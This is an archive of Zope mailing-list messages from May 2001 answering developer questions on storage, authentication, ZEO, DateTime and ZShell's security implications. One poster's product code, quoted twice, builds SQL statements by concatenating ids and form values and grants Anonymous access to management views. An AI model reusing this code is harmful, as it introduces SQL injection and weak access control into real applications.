yesterday, I exported and imported 1 object (which was my whole site - or an object that contained all other site objects) to a remote web-host server. And, in one fell swoop my site went from my dev. box to my production box just like that! The brilliance of an oodb running behind your applications just purely separates zope from anything else. But, because its capabilities are to place presentation, application and data logic into 1 tier - while maintaining the FLEXIBILITY of keeping your presentation logic separate from app. logic etc.... it gets pretty deep pretty quick. ASP is a fine solution. But, Zope allows you to make yourself feel smart again - when you accomplish something like listing out a "recordset" into a table and it doesnt require you to write mountains of mundane "I already wrote that like 52,000 times" code to do so. You feel smarter cause for once - doing things take less time and you dont have to feel like a slave to ASP. I fact that its oo based and extendable beyond belief with python... its silly! But, for private projects where I am the sole person making decisions ZOPE is great. But, shifting an ASP shop with 15 coders working on something to ZOPE doesnt seem likely today. Cause Zope isnt as easy as writing a bunch of RESPONSE.WRITE's - but, ZOPE wont leave you with smelly stinky embedded vbscript everywhere either. By all means, write me if you got specific questions. Sincerely, David Kovach dave@kovach.com On Mon, 07 May 2001, servel yannick wrote: > > I would like to compare (if it is possible to compare them) these server > side applications. > > Many thanks in advance, > > Regards, > > > Yannick > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) _____________________________________________________ Get your name as your email and web site address. http://www.NetIdentity.com. Be somebody online. From renfro@tntech.edu Mon May 7 18:57:42 2001 From: renfro@tntech.edu (Mike Renfro) Date: Mon, 7 May 2001 12:57:42 -0500 Subject: [Zope] Authentication for outside users In-Reply-To: ; from Sven.Syld@stat.ee on Mon, May 07, 2001 at 06:27:52PM +0300 References: Message-ID: <20010507125742.A3407@ch208d.cae.tntech.edu> On Mon, May 07, 2001 at 06:27:52PM +0300, Sven Syld wrote: > How could I do so that only users from a certain IP address will > need to authenticate - outsiders? Others - insiders - will not. Make an anonymous user with no password, and domain set to the IP block you want to consider "inside". See http://www.zope.org/Members/michel/ZB/Security.dtml -- particularly the parts right after Figure 6-1. -- Mike Renfro / R&D Engineer, Center for Manufacturing Research, 931 372-3601 / Tennessee Technological University -- renfro@tntech.edu From arno.gross@consotec.de Mon May 7 19:59:27 2001 From: arno.gross@consotec.de (Arno Gross) Date: Mon, 7 May 2001 17:59:27 -0100 Subject: [Zope] Comparision between Zope and other application server In-Reply-To: <20010507164152.20048.cpmta@c000.snv.cp.net> References: <20010507164152.20048.cpmta@c000.snv.cp.net> Message-ID: <01050718063002.20483@force> Is there any comparision between Zope and other application server like BEA WebLogic, Enhydra, ... ? Best regards Arno From augusto@artlover.com Mon May 7 19:03:32 2001 From: augusto@artlover.com (Ausum) Date: Mon, 07 May 2001 13:03:32 -0500 Subject: [Zope] How to add dtml-docs to Favorites links folder within CMF?ed? Message-ID: <3AF6E374.E8B44D1@artlover.com> This is a question I've previously posted at Zope-CMF, and haven't had an answer until this moment. I'm transfering previous dtml documents and directories to CMF, and I want to enable them to be stored at the "Favorites" folders of the users. Loging and logouts seem the work this way (by modifying header&footer skins), but the addtofavorites feature don't. Is there a workaround? Is it possible to turn all those previous documents into CMF-savvy, while keeping all the standard dtml docs and methods features like direct editing? Thanks in advance, Ausum From erik@pacific-shores.com Mon May 7 19:10:35 2001 From: erik@pacific-shores.com (Erik Myllymaki) Date: Mon, 7 May 2001 11:10:35 -0700 Subject: [Zope] is ZEO the answer? Message-ID: <000901c0d721$03600190$0b01a8c0@erm> I would like to publish my Zope site internally (Intranet) via HTTP AND externally via HTTPS (Internet). Should I be looking at ZEO or another option? Using on HTTPS server for both would be the easiest, but the intranet use is pretty heavy and I don't want to incure the overhead of SSL on what doesn't need to be encrypted. Thanks in advance, Erik Myllymaki erik@pacific-shores.com From michel@digicool.com Mon May 7 19:16:12 2001 From: michel@digicool.com (Michel Pelletier) Date: Mon, 7 May 2001 11:16:12 -0700 (PDT) Subject: [Zope] [ANN] ZShell 0.2 In-Reply-To: <001101c0d573$eed3ff00$c3090740@megapathdsl.net> Message-ID: On Sat, 5 May 2001, Jason Cunliffe wrote: > From: "Jerome Alet" > > I've just seen the same message, so I've browsed the files with cvsweb, > > and now I better understand Michel's concerns: it seems as External > methods > > run completely unrestricted by default, which I ignored until I read this > > document. > > ..and what of Scripts (Python) Do they inherit Zope permissions model.? Yes. This comes at the cost of a small performance hit compared to external methods. My concern with ZShell is that as soon as your execution crosses the boundary between Zope and an external method, all security checks stop. So yes, Zope will restrict 'Bob' from running the ZShell external method if he doesn't not have the 'Use External Methods' permission, but if he *does* have the right permission, then no other permissions matter, because ZShell circumvents them. > Security should be addressed. Absolutely! > I suppose one could extend 'Exernal Methods' to create a 'External Zshell > Methods' This won't help, as I said, as soon as a user has that one permission, they circumvent all of them. > But Jerome please don't let this slow you down writing Zshell functions now. > Let's just agree that Zshell is a really powerful Essential Zope tool. An > important concept which definitely needs developing. And it assumes greater > responsibility than the default TTW interface, and wears a large sysadmin > warning label! Oh yes, don't take my warning as a discouragement, please continue. I just wanted to make sure everyone was aware of the security issues. > I have been using ZJavatelnetSSH Product quite often recently for sheer > convenvince of remote Zope sysadmin. > http://dev.zope.org/Members/dshaw/ZJavaTelnetSSH Yeah, that's a really cool product that shows off some pretty amazing Java/ZClass integration. -Michel From phil.harris@zope.co.uk Wed May 9 00:29:07 2001 From: phil.harris@zope.co.uk (Phil Harris) Date: Tue, 8 May 2001 19:29:07 -0400 Subject: [Zope] bsddb3Storage missing custom_zodb.py In-Reply-To: References: Message-ID: <01050819290700.01586@localhost.localdomain> Norman, I created the aforementioned custom_zodb.py with these contents: from bsddb3Storage import full ConcreteStorage=Full.Full Storage=ConcreteStorage('zbsddb') The zbsddb is a folder within INSTANCE_HOME (normally your ZopeDir). The files that bsddb3Storage needs are then created in there the next time Zope starts. hth Phil phil.harris@zope.co.uk On Monday 07 May 2001 11:16, Norman Khine wrote: > What did you do? > > Thanks > > Norman From phil.harris@zope.co.uk Wed May 9 00:31:33 2001 From: phil.harris@zope.co.uk (Phil Harris) Date: Tue, 8 May 2001 19:31:33 -0400 Subject: [ZODB-Dev] Re: [Zope] bsddb3Storage missing custom_zodb.py In-Reply-To: <15094.48114.673875.761575@anthem.wooz.org> References: <01050815310700.04454@localhost.localdomain> <00b501c0d705$affdfb80$a8063bd0@kurtz> <15094.48114.673875.761575@anthem.wooz.org> Message-ID: <01050819313301.01586@localhost.localdomain> On Monday 07 May 2001 11:14, Barry A. Warsaw wrote: > >>>>> "CM" == Chris McDonough writes: > There is a sample custom_zodb.py in the docs/ directory of the beta2 > distribution. Not in the distribution I downloaded today. This is the contents of the docs dir: total 52 drwxrwxr-x 2 889 889 4096 May 8 19:31 ./ drwxrwxr-x 5 889 889 4096 May 8 15:06 ../ -rw-rw-r-- 1 889 889 7461 Mar 29 19:17 FullImplementation.txt -rw-rw-r-- 1 889 889 533 Nov 9 2000 MinimalImplementation.txt -rw-rw-r-- 1 889 889 809 Nov 9 2000 MinimalReplicatedImplementation.txt -rw-rw-r-- 1 889 889 1582 Dec 11 17:07 PacklessImplementation.txt -rw-rw-r-- 1 889 889 12876 Mar 27 16:26 PacklessReadme.txt -rw-rw-r-- 1 889 889 2944 Nov 9 2000 TransactionStrategy.txt -rw-r--r-- 1 root root 0 May 8 19:31 a -rw-rw-r-- 1 889 889 2010 Nov 9 2000 notes Not one .py file amongst them. Thanks anyway, Phil > > -Barry From barry@digicool.com Mon May 7 19:42:54 2001 From: barry@digicool.com (Barry A. Warsaw) Date: Mon, 7 May 2001 14:42:54 -0400 Subject: [ZODB-Dev] Re: [Zope] bsddb3Storage missing custom_zodb.py References: <01050815310700.04454@localhost.localdomain> <00b501c0d705$affdfb80$a8063bd0@kurtz> <15094.48114.673875.761575@anthem.wooz.org> <01050819313301.01586@localhost.localdomain> Message-ID: <15094.60590.620484.44944@anthem.wooz.org> >>>>> "PH" == Phil Harris writes: >> There is a sample custom_zodb.py in the docs/ directory of the >> beta2 distribution. PH> Not in the distribution I downloaded today. This is the PH> contents of the docs dir: Darn, you're right. There was a typo in the MANIFEST file which caused it to be omitted. I append it below, and I've also uploaded a revised tarball that includes the file. -Barry -------------------- snip snip -------------------- # Uncomment the line corresponding to the storage you want to use # This syntax requires Python 2.x # #from bsddb3Storage.Packless import Packless as ConcreteStorage #from bsddb3Storage.Minimal import Minimal as ConcreteStorage from bsddb3Storage.Full import Full as ConcreteStorage import os env = os.path.join('var', 'bsddb3Storage') Storage = ConcreteStorage(name='BerkeleyStorage', env=env) From dieter@handshake.de Mon May 7 19:07:34 2001 From: dieter@handshake.de (Dieter Maurer) Date: Mon, 7 May 2001 20:07:34 +0200 (CEST) Subject: [Zope] question about searching on subobjects In-Reply-To: <44409489@toto.iv> Message-ID: <15094.58470.198176.23202@lindm.dm> Junk writes: > ... searching on subobjects ... Implement a parameterless Python script that does the subobject magic. Place it high in the Zope hierarchy, such that it is available by acquisition where it is needed. Use it as an index in your ZCatalog. More info: the Zope book or URL:http://www.dieter.handshake.de/pyprojects/zope/book/chap3.html Dieter From dieter@handshake.de Mon May 7 18:24:15 2001 From: dieter@handshake.de (Dieter Maurer) Date: Mon, 7 May 2001 19:24:15 +0200 (CEST) Subject: [Zope] DateTime() BUG! In-Reply-To: <385831297@toto.iv> Message-ID: <15094.55871.785308.575045@lindm.dm> Kai Hofmann writes: > the "enddate" I showed in the "pseudo"-code has been defined as an object= > s=20 > property of type "date" - so I assumed the argument is correct - isn't it= > ? But then the result *IS* correct, too! If you have, as is you example: enddate= then DateTime().lessThanOrEqual(enddate) must return "false" most of the day. As the name suggests: "DateTime" is date *AND* time. "lessThanOrEqual" must take both components into account. Dieter From dieter@handshake.de Mon May 7 19:10:20 2001 From: dieter@handshake.de (Dieter Maurer) Date: Mon, 7 May 2001 20:10:20 +0200 (CEST) Subject: [Zope] zope: methods and settings In-Reply-To: <711342716@toto.iv> Message-ID: <15094.58636.884013.314298@lindm.dm> Jan writes: > 1. i would like to write a method that creates a folder and a default > dtml-document. this methods shall be started through a form. at the moment i > can use this method in order to create a folder (id is given via form) and a > default dtml-document, both in the directory from which the method is > started. how can i make settings so that the default dtml-document is > created in the new folder, or put into the folder directly after creation? .... > 2. i list zope folders in a navigation. in order to list them in a special > order i use an attribute (index). is it possible to display the value of > this attribute for each document or folder in the management screen in > addition to id and name? You need to change the DTML source... Dieter From dieter@handshake.de Mon May 7 19:04:30 2001 From: dieter@handshake.de (Dieter Maurer) Date: Mon, 7 May 2001 20:04:30 +0200 (CEST) Subject: [Zope] question about multiple search criteria In-Reply-To: <141706122@toto.iv> Message-ID: <15094.58286.820729.841094@lindm.dm> Junk writes: > i have this database wich i want to sort by multiple criteria (12 criteria) > so i would have to search a zcatalog with those and i heard that quite a lot > of people don't trust the zcatalog and it just doesn't seem to be *right*. > > is it cleaner to do it in some sort of relational database and make sql > queries on it ? A relational database gives you SQL. For atomic field values, SQL is much more powerful than the current ZCQI (Zope Catalog Query Interface). You can combine queries over different tables, combine subqueries with and/or/not almost arbitrary, have lots of functions to be used for the query results or in the where clause. However, many relational databases do not support efficient text searches. Then, I would look for ZCatalog (if I do not get too many objects (10.000 to 100.000), or for a database system with text query support. Dieter From dieter@handshake.de Mon May 7 18:58:15 2001 From: dieter@handshake.de (Dieter Maurer) Date: Mon, 7 May 2001 19:58:15 +0200 (CEST) Subject: [Zope] broken root security tab In-Reply-To: <357038442@toto.iv> Message-ID: <15094.57911.172263.543793@lindm.dm> Dave Ahn writes: > This is what I get: > .... > Error Type: TypeError > Error Value: string member test needs char left operand > > Traceback (innermost last): > .... > File /usr/lib/zope/lib/python/AccessControl/Role.py, line 177, in <lambda> > TypeError: (see above) > > The relevant lines from Role.py appear to be: > d={'name': name, > 'acquire': type(roles) is ListType and 'CHECKED' or '', > 'roles': map( > lambda ir, roles=roles, valid=valid, ip=ip: > { > 'name': "p%dr%d" % (ip,ir), > 'checked': (valid[ir] in roles) and 'CHECKED' or '', > }, > indexes) The "roles" variable holds a string. Someone else currently has similar problems (--> mailing list archives). He found out, that delete all Z Instances from a folder removed the problem. See my answer to his problem report on how I would try to analyse the problem. Dieter From dieter@handshake.de Mon May 7 19:16:00 2001 From: dieter@handshake.de (Dieter Maurer) Date: Mon, 7 May 2001 20:16:00 +0200 (CEST) Subject: [Zope] help! too many open files (zope-2.3.1) In-Reply-To: <1043692551@toto.iv> Message-ID: <15094.58976.481013.538895@lindm.dm> Bak @ kedai writes: > i've been running zope-2.3.1 for quite some time now. everything went well. > but > the isp had a power failure today. and after that i kept getting too many > open files, esp with access of mailhost, localfs, etc. > > i've increased the file-max in /proc/sys/fs/file-max. ulimit -a tells me > that i can only have 1024 file open. > > if i restart zope, everything's ok. but the problem will appear again > > is this the problem? Apparently, something leaks file descriptors. You must find the leak: "lsof" seems to be a magic wand to analyse file descriptor problems. I did not use it myself, as it requires root privileges. But maybe, it can help you. I (without "lsof") would use "netstat" to determine whether sockets are leaked or files. For sockets, it is possible to determine the peers and get a feeling, what use makes problems. For files, I would use "fuser" (the weaker brother of "lsof") to find out which files are unexpectedly open or open by two many processes. As soon as the file is located, it would probably be clear, where to find the problem. Dieter From kyroraz@usa.net Mon May 7 19:54:15 2001 From: kyroraz@usa.net (Jason Joy) Date: 7 May 2001 11:54:15 MST Subject: [Zope] Re: Product Creation and Permission] Message-ID: <20010507185415.19017.qmail@wwcst270.netaddress.usa.net> > > Which I think is directly related to what I am experiencing with gett= ing the > > manage_main. > > = > > Jason > > = > = > Very interesting. Can you post the revised Python code of your product?= Sure, I will put up what I current have, but I have also thought about th= is over the weekend and came up with some ideas on how to perhaps make this = work, although I do not know how practical it will be, so, please let me know i= f this is possible or not: In A, in _getOb (currently encapuslated with ## Right here ##), I have be= en tinkering on how it has been working. I tried to return the instance of = A instead of creating another B, and it works fine. I have a hunch there i= s elements in A when Zope creates the object that just is not passed onto B= that contains information about the Zope session that it would like to have. Only problem is if you do a B =3D A, it is a reference. B and A at this = point would have the same memory location and would not be useful. Also, since= B has some differences to A, structurally, it won't help out there evil. I= think the way to fix this is to copy properties from A and B, but I am no= t sure which ones are there nor what properties exist on A (other than A.REQUEST). How can one copy objects such that B =3D self? Even this I = am not sure because object B has to be created by what is defined in class B... = Any thoughts? Jason ## Code Is Here ## A: import Globals from Globals import Persistent, Acquisition import AccessControl import OFS from B import * from pg import DB from AccessControl import ClassSecurityInfo from Acquisition import Implicit __allow_access_to_unprotected_subobjects__ =3D 1 class objectChunk(Implicit): security =3D ClassSecurityInfo() security.declareObjectPublic() security.setDefaultAccess('allow') security.__allow_access_to_unprotected_subobjects__ =3D 1 def SQLquery(query): db =3D "zope" server =3D "192.168.1.1" port =3D 5432 sqluser =3D "zope" sqlpassword =3D "********" data =3D [] if query[0:6] =3D=3D "SELECT": for output in DB(db,server,port,'',sqluser,sqlpassword).query(query).dictresult(): result =3D objectChunk() masterkeys =3D output.keys() for key in masterkeys: f =3D setattr(result, key, output[key]) data.append(result) else: SQLOUTPUT =3D DB(db,server,port,'',sqluser,sqlpassword).query(query) return (data) def manage_addA(self,id,name,description,REQUEST=3DNone): obja =3D A(id,name,description) self._setObject(id, obja) if REQUEST is not None: return self.manage_main(self, REQUEST) manage_addAForm =3D Globals.HTMLFile('dtml/add_obja', globals()) class A( OFS.ObjectManager.ObjectManager, OFS.PropertyManager.PropertyManager, Acquisition.Implicit, Persistent, AccessControl.Role.RoleManager, OFS.SimpleItem.Item, ): a=3D() manage_options=3D( {'label':'Properties', 'action':'manage_main'}, {'label':'View', 'action':''}, ) + OFS.SimpleItem.SimpleItem.manage_options meta_type =3D 'Product' index_html =3D Globals.HTMLFile("dtml/obja", globals()) #manage_main =3D Globals.HTMLFile("dtml/edit_obja", globals()) def __init__(self, id, name,description): self.id =3D id self.name =3D name self.desc =3D description def objectItems(self): objQUERY =3D "SELECT * FROM B WHERE dgid =3D '" + self.id + "'" QUERYRESULT =3D [] QUERYRESULT =3D SQLquery(objQUERY) = a =3D [] for objects in QUERYRESULT: tp =3D B(objects.id,objects.dgid,objects.obj_name,objects.obj_desc,objects.obj_c= reator, objects.obj_created,objects.obj_moddate) tpwrapper =3D [objects.id,tp] a.append(tpwrapper) return a = def manage_beforeDelete(self,item,container): QUERYSTRING =3D "DELETE FROM B WHERE dgid =3D '" + item.id + "'" queryresult =3D SQLquery(QUERYSTRING) ## Right here ## def _getOb(self,id,dp=3D2): __allow_access_to_unprotected_subobjects__ =3D 1 nextobject =3D B(self.id,id,"name","desc","creater","createrdate","moddate") = return nextobject ## Right here def _delObjects(self,id): "This deletes the objects specified" = print "In the _delObjects" = def _delOb(self,id): "This deletes the objects specified" = SQLQUERY =3D "DELETE FROM B WHERE id =3D '" + id + "'" INQUIRE =3D SQLquery(SQLQUERY) Globals.default__class_init__(A) Globals.default__class_init__(B) Globals.InitializeClass(objectChunk) B: import Globals from Globals import Persistent, Acquisition import AccessControl import OFS from pg import DB from AccessControl import ClassSecurityInfo from Acquisition import Implicit __allow_access_to_unprotected_subobjects__ =3D 1 class objectChunk(Implicit): security =3D ClassSecurityInfo() security.declareObjectPublic() security.setDefaultAccess('allow') security.__allow_access_to_unprotected_subobjects__ =3D 1 def SQLquery(query): ## change these when you change servers db =3D "zope" server =3D "192.168.1.1" port =3D 5432 sqluser =3D "zope" sqlpassword =3D "********" data =3D [] if query[0:6] =3D=3D "SELECT": for output in DB(db,server,port,'',sqluser,sqlpassword).query(query).dictresult(): result =3D objectChunk() masterkeys =3D output.keys() for key in masterkeys: f =3D setattr(result, key, output[key]) data.append(result) else: SQLOUTPUT =3D DB(db,server,port,'',sqluser,sqlpassword).query(query) return (data) def manage_addB(self,dg_id,id,name,desc,creater,createrdate,moddate,REQUEST=3D= None): The argument 'self' will be bound to the parent Folder. QUERYSTRING =3D "INSERT INTO C (id,dgid,obj_name,obj_desc,obj_creator,obj_created,obj_moddate) VALUES ('"+id+"','"+dg_id+"','"+name+"','"+desc+"','"+creater+"','"+createrdate+= "','"+m oddate+"')" print QUERYSTRING SQLRETURN =3D SQLquery(QUERYSTRING) if REQUEST is not None: return self.manage_main(self, REQUEST) manage_addTopicForm =3D Globals.HTMLFile('dtml/add_obj', globals()) class B( OFS.ObjectManager.ObjectManager, OFS.PropertyManager.PropertyManager, = Acquisition.Implicit, Persistent, AccessControl.Role.RoleManager, OFS.SimpleItem.Item, ): a=3D() manage_options=3D( {'label':'Properties', 'action':'manage_main'}, {'label':'View', 'action':''}, ) + OFS.SimpleItem.SimpleItem.manage_options meta_type =3D 'Product 2' index_html =3D Globals.HTMLFile("dtml/obj", globals()) manage_main =3D Globals.HTMLFile("dtml/edit_obj", globals()) def __init__(self,dg_id,id,name,desc,creater,createrdate,moddate): self.dg_id =3D dg_id = self.id =3D id self.name =3D name self.desc =3D desc self.creater =3D creater self.createdate =3D createrdate self.moddate =3D moddate __allow_access_to_unprotected_subobjects__ =3D 1 manage_workspace__roles__=3D('Manager','Anonymous',) def objectItems(self): objQUERY =3D "SELECT * FROM B WHERE dgid =3D '" + self.id + "'" QUERYRESULT =3D [] QUERYRESULT =3D SQLquery(objQUERY) a =3D [] for objects in QUERYRESULT: tp =3D B(objects.id,objects.dgid,objects.obj_name,objects.obj_desc,objects.obj_c= reator, objects.obj_created,objects.obj_moddate) tpwrapper =3D [objects.id,tp] a.append(tpwrapper) return a Globals.InitializeClass(objectChunk) ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=3D= 1 From cduncan@kaivo.com Mon May 7 20:15:18 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Mon, 07 May 2001 13:15:18 -0600 Subject: [Zope] Re: Product Creation and Permission] References: <20010507185415.19017.qmail@wwcst270.netaddress.usa.net> Message-ID: <3AF6F446.8B48C939@kaivo.com> Jason Joy wrote: > > > > Which I think is directly related to what I am experiencing with getting > the > > > manage_main. > > > > > > Jason > > > > > > > Very interesting. Can you post the revised Python code of your product? > > Sure, I will put up what I current have, but I have also thought about this > over the weekend and came up with some ideas on how to perhaps make this work, > although I do not know how practical it will be, so, please let me know if > this is possible or not: > > In A, in _getOb (currently encapuslated with ## Right here ##), I have been > tinkering on how it has been working. I tried to return the instance of A > instead of creating another B, and it works fine. I have a hunch there is > elements in A when Zope creates the object that just is not passed onto B that > contains information about the Zope session that it would like to have. > > Only problem is if you do a B = A, it is a reference. B and A at this point > would have the same memory location and would not be useful. Also, since B > has some differences to A, structurally, it won't help out there evil. I > think the way to fix this is to copy properties from A and B, but I am not > sure which ones are there nor what properties exist on A (other than > A.REQUEST). How can one copy objects such that B = self? Even this I am not > sure because object B has to be created by what is defined in class B... Any > thoughts? This should be easily solvable using acquisition. I think B is not an acquisition wrapper of A looking at your code. Perhaps try: ## Right here ## def _getOb(self,id,dp=2): nextobject = B(self.id,id,"name","desc","creater","createrdate","moddate") return nextobject.__of__(self) ## Right here The __of__() method of acquistion makes one object wrap another. Zope expects subordinate objects to acquire their parents. > > Jason > > ## Code Is Here ## > A: > > import Globals > from Globals import Persistent, Acquisition > import AccessControl > import OFS > from B import * > from pg import DB > from AccessControl import ClassSecurityInfo > from Acquisition import Implicit > > __allow_access_to_unprotected_subobjects__ = 1 > > class objectChunk(Implicit): > security = ClassSecurityInfo() > security.declareObjectPublic() > security.setDefaultAccess('allow') > security.__allow_access_to_unprotected_subobjects__ = 1 > > def SQLquery(query): > db = "zope" > server = "192.168.1.1" > port = 5432 > sqluser = "zope" > sqlpassword = "********" > > data = [] > > if query[0:6] == "SELECT": > for output in > DB(db,server,port,'',sqluser,sqlpassword).query(query).dictresult(): > result = objectChunk() > masterkeys = output.keys() > for key in masterkeys: > f = setattr(result, key, output[key]) > data.append(result) > else: > SQLOUTPUT = DB(db,server,port,'',sqluser,sqlpassword).query(query) > > return (data) > > def manage_addA(self,id,name,description,REQUEST=None): > obja = A(id,name,description) > self._setObject(id, obja) > if REQUEST is not None: > return self.manage_main(self, REQUEST) > > manage_addAForm = Globals.HTMLFile('dtml/add_obja', globals()) > > class A( > OFS.ObjectManager.ObjectManager, > OFS.PropertyManager.PropertyManager, > Acquisition.Implicit, > Persistent, > AccessControl.Role.RoleManager, > OFS.SimpleItem.Item, > ): > > a=() > manage_options=( > {'label':'Properties', 'action':'manage_main'}, > {'label':'View', 'action':''}, > ) + OFS.SimpleItem.SimpleItem.manage_options > > meta_type = 'Product' > > index_html = Globals.HTMLFile("dtml/obja", globals()) > #manage_main = Globals.HTMLFile("dtml/edit_obja", globals()) > > def __init__(self, id, name,description): > > self.id = id > self.name = name > self.desc = description > > def objectItems(self): > > objQUERY = "SELECT * FROM B WHERE dgid = '" + self.id + "'" > > QUERYRESULT = [] > QUERYRESULT = SQLquery(objQUERY) > a = [] > for objects in QUERYRESULT: > tp = > B(objects.id,objects.dgid,objects.obj_name,objects.obj_desc,objects.obj_creator, > objects.obj_created,objects.obj_moddate) > tpwrapper = [objects.id,tp] > a.append(tpwrapper) > return a > > def manage_beforeDelete(self,item,container): > QUERYSTRING = "DELETE FROM B WHERE dgid = '" + item.id + "'" > queryresult = SQLquery(QUERYSTRING) > > ## Right here ## > def _getOb(self,id,dp=2): > __allow_access_to_unprotected_subobjects__ = 1 > nextobject = > B(self.id,id,"name","desc","creater","createrdate","moddate") > return nextobject > ## Right here > > def _delObjects(self,id): > "This deletes the objects specified" > print "In the _delObjects" > > def _delOb(self,id): > "This deletes the objects specified" > SQLQUERY = "DELETE FROM B WHERE id = '" + id + "'" > INQUIRE = SQLquery(SQLQUERY) > > Globals.default__class_init__(A) > Globals.default__class_init__(B) > Globals.InitializeClass(objectChunk) > > B: > > import Globals > from Globals import Persistent, Acquisition > import AccessControl > import OFS > from pg import DB > from AccessControl import ClassSecurityInfo > from Acquisition import Implicit > __allow_access_to_unprotected_subobjects__ = 1 > > class objectChunk(Implicit): > security = ClassSecurityInfo() > security.declareObjectPublic() > security.setDefaultAccess('allow') > security.__allow_access_to_unprotected_subobjects__ = 1 > > def SQLquery(query): > ## change these when you change servers > db = "zope" > server = "192.168.1.1" > port = 5432 > sqluser = "zope" > sqlpassword = "********" > > data = [] > > if query[0:6] == "SELECT": > for output in > DB(db,server,port,'',sqluser,sqlpassword).query(query).dictresult(): > result = objectChunk() > masterkeys = output.keys() > for key in masterkeys: > f = setattr(result, key, output[key]) > data.append(result) > else: > SQLOUTPUT = DB(db,server,port,'',sqluser,sqlpassword).query(query) > return (data) > > def > manage_addB(self,dg_id,id,name,desc,creater,createrdate,moddate,REQUEST=None): > The argument 'self' will be bound to the parent Folder. > QUERYSTRING = "INSERT INTO C > (id,dgid,obj_name,obj_desc,obj_creator,obj_created,obj_moddate) VALUES > ('"+id+"','"+dg_id+"','"+name+"','"+desc+"','"+creater+"','"+createrdate+"','"+m > oddate+"')" > print QUERYSTRING > SQLRETURN = SQLquery(QUERYSTRING) > if REQUEST is not None: > return self.manage_main(self, REQUEST) > > manage_addTopicForm = Globals.HTMLFile('dtml/add_obj', globals()) > > class B( > OFS.ObjectManager.ObjectManager, > OFS.PropertyManager.PropertyManager, > Acquisition.Implicit, > Persistent, > AccessControl.Role.RoleManager, > OFS.SimpleItem.Item, > ): > > a=() > > manage_options=( > {'label':'Properties', 'action':'manage_main'}, > {'label':'View', 'action':''}, > ) + OFS.SimpleItem.SimpleItem.manage_options > > meta_type = 'Product 2' > > index_html = Globals.HTMLFile("dtml/obj", globals()) > manage_main = Globals.HTMLFile("dtml/edit_obj", globals()) > > def __init__(self,dg_id,id,name,desc,creater,createrdate,moddate): > self.dg_id = dg_id > self.id = id > self.name = name > self.desc = desc > self.creater = creater > self.createdate = createrdate > self.moddate = moddate > __allow_access_to_unprotected_subobjects__ = 1 > manage_workspace__roles__=('Manager','Anonymous',) > > def objectItems(self): > > objQUERY = "SELECT * FROM B WHERE dgid = '" + self.id + "'" > > QUERYRESULT = [] > QUERYRESULT = SQLquery(objQUERY) > a = [] > for objects in QUERYRESULT: > tp = > B(objects.id,objects.dgid,objects.obj_name,objects.obj_desc,objects.obj_creator, > objects.obj_created,objects.obj_moddate) > tpwrapper = [objects.id,tp] > a.append(tpwrapper) > return a > > Globals.InitializeClass(objectChunk) > > ____________________________________________________________________ > Get free email and a permanent address at http://www.netaddress.com/?N=1 -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From simon@joyful.com Mon May 7 20:22:53 2001 From: simon@joyful.com (Simon Michael) Date: 07 May 2001 12:22:53 -0700 Subject: [Zope] [ANN] ZShell 0.2 In-Reply-To: (Jerome Alet's message of "Mon, 7 May 2001 09:17:17 +0200 (MET DST)") References: Message-ID: <87r8y1arqq.fsf@joyful.com> Jerome Alet writes: > PS: perhaps I should set up a mailing list somewhere to not waste Zope's > one bandwidth, what do you think ? NO! my ornery 2c for today. :) Using [zshell] in the subject is another option. And on that subject.. Mailing List Admin - I hereby request that [Zope], [Zope-dev] etc. be dropped from all subjects as they aren't useful. Best regards -Simon From bill@libc.org Mon May 7 20:46:46 2001 From: bill@libc.org (Bill Anderson) Date: 07 May 2001 13:46:46 -0600 Subject: [Zope] is ZEO the answer? In-Reply-To: <000901c0d721$03600190$0b01a8c0@erm> References: <000901c0d721$03600190$0b01a8c0@erm> Message-ID: <989264806.17788.1.camel@locutus> On 07 May 2001 11:10:35 -0700, Erik Myllymaki wrote: > I would like to publish my Zope site internally (Intranet) via HTTP AND > externally via HTTPS (Internet). Should I be looking at ZEO or another > option? Using on HTTPS server for both would be the easiest, but the > intranet use is pretty heavy and I don't want to incure the overhead of SSL > on what doesn't need to be encrypted. > > Thanks in advance, In theory, yes. Looking at www.zope.org, there is clearly a means by which you can find out what Zeo Client you are connecting to. Thus, in theory, you could set up an access rule that checked to see if you were connecting to the external-zeo-client, and if so do rewrites to use https via the means that have been listed here and on the www.zope.org website. ... then again, this is theory.... Theoretically-ly-y'rs Bill From andym@ActiveState.com Mon May 7 21:06:51 2001 From: andym@ActiveState.com (Andy McKay) Date: Mon, 7 May 2001 13:06:51 -0700 Subject: [Zope] [ANN] ZShell 0.2 References: <87r8y1arqq.fsf@joyful.com> Message-ID: <022101c0d731$41272e30$ae03a8c0@activestate.com> > And on that subject.. Mailing List Admin - I hereby request that > [Zope], [Zope-dev] etc. be dropped from all subjects as they aren't > useful. No! my ornery 2c for today ( if we all get a free one :) ) These are useful to many people to parse through the lists. -- Andy McKay. ----- Original Message ----- From: "Simon Michael" To: Sent: Monday, May 07, 2001 12:22 PM Subject: Re: [Zope] [ANN] ZShell 0.2 > Jerome Alet writes: > > PS: perhaps I should set up a mailing list somewhere to not waste Zope's > > one bandwidth, what do you think ? > > NO! > > my ornery 2c for today. :) > > Using [zshell] in the subject is another option. > > And on that subject.. Mailing List Admin - I hereby request that > [Zope], [Zope-dev] etc. be dropped from all subjects as they aren't > useful. > > Best regards > -Simon > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From eric@walstads.net Mon May 7 21:12:33 2001 From: eric@walstads.net (Eric Walstad) Date: Mon, 07 May 2001 13:12:33 -0700 Subject: [Zope] RE: Mailing List Admin Feature Request (was [ANN] ZShell 0.2) In-Reply-To: <87r8y1arqq.fsf@joyful.com> Message-ID: I disagree, Simon. I find the [Zope], [Zope-dev] etc. strings in the subject line very useful. I use them in code that sorts my incoming mail messages into specific folders. Yes, I'm being selfish and lazy so that I don't have to rewrite my sorting code. :) Eric. > -----Original Message----- > From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of Simon > Michael > Sent: Monday, May 07, 2001 12:23 PM > To: zope@zope.org > Subject: Re: [Zope] 